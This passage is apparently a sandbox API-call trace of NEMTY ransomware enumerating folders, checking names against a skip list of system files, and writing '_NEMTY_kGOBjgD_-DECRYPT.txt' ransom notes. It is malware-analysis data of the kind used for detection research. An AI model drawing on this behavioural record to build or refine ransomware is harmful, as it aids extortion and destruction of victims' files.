[0108.425] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ac80f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3ac80f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3aee250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0108.425] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0108.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0108.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0108.425] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf394b330, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf394b330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf394b330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0108.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0108.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0108.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0108.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0108.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.426] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf394b330, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf394b330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf394b330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0108.426] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0108.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0108.426] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbdae9ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbdae9ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="...") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="windows") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="$RECYCLE.BIN") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="rsa") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="NTDETECT.COM") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="ntldr") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="MSDOS.SYS") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="IO.SYS") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="boot.ini") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="boot.ini") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="AUTOEXEC.BAT") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="ntuser.dat") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="desktop.ini") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="CONFIG.SYS") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="RECYCLER") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="BOOTSECT.BAK") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="bootmgr") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="programdata") returned 1 [0108.427] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="appdata") returned 1 [0108.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Photo Viewer", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0108.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Photo Viewer", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Photo Viewer", lpUsedDefaultChar=0x0) returned 20 [0108.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Photo Viewer", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0108.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Photo Viewer", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Photo Viewer", lpUsedDefaultChar=0x0) returned 20 [0108.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0108.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0108.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0108.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0108.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0108.428] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows photo viewer\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0108.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0108.428] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.428] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0108.429] CloseHandle (hObject=0x3c0) returned 1 [0108.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0108.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0108.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0108.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0108.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0108.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0108.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.430] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows photo viewer\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0108.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0108.431] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.431] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0108.431] CloseHandle (hObject=0x3c0) returned 1 [0108.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0108.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0108.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf444d8f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf444d8f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0108.432] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0108.432] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf444d8f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf444d8f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0108.432] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0108.432] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0108.432] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x445d6740, ftCreationTime.dwHighDateTime=0x1d549c3, ftLastAccessTime.dwLowDateTime=0xd6948210, ftLastAccessTime.dwHighDateTime=0x1d4e415, ftLastWriteTime.dwLowDateTime=0xd6948210, ftLastWriteTime.dwHighDateTime=0x1d4e415, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="beginnerhitachi.exe", cAlternateFileName="BEGINN~1.EXE")) returned 1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2=".") returned 1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="..") returned 1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="...") returned 1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="windows") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="$RECYCLE.BIN") returned 1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="rsa") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="NTDETECT.COM") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="ntldr") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="MSDOS.SYS") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="IO.SYS") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="boot.ini") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="boot.ini") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="AUTOEXEC.BAT") returned 1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="ntuser.dat") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="desktop.ini") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="CONFIG.SYS") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="RECYCLER") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="BOOTSECT.BAK") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="bootmgr") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="programdata") returned -1 [0108.432] lstrcmpiW (lpString1="beginnerhitachi.exe", lpString2="appdata") returned 1 [0108.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beginnerhitachi.exe", lpUsedDefaultChar=0x0) returned 19 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beginnerhitachi.exe", lpUsedDefaultChar=0x0) returned 19 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="beginnerhitachi.exe", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beginnerhitachi.exe", lpUsedDefaultChar=0x0) returned 19 [0108.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: 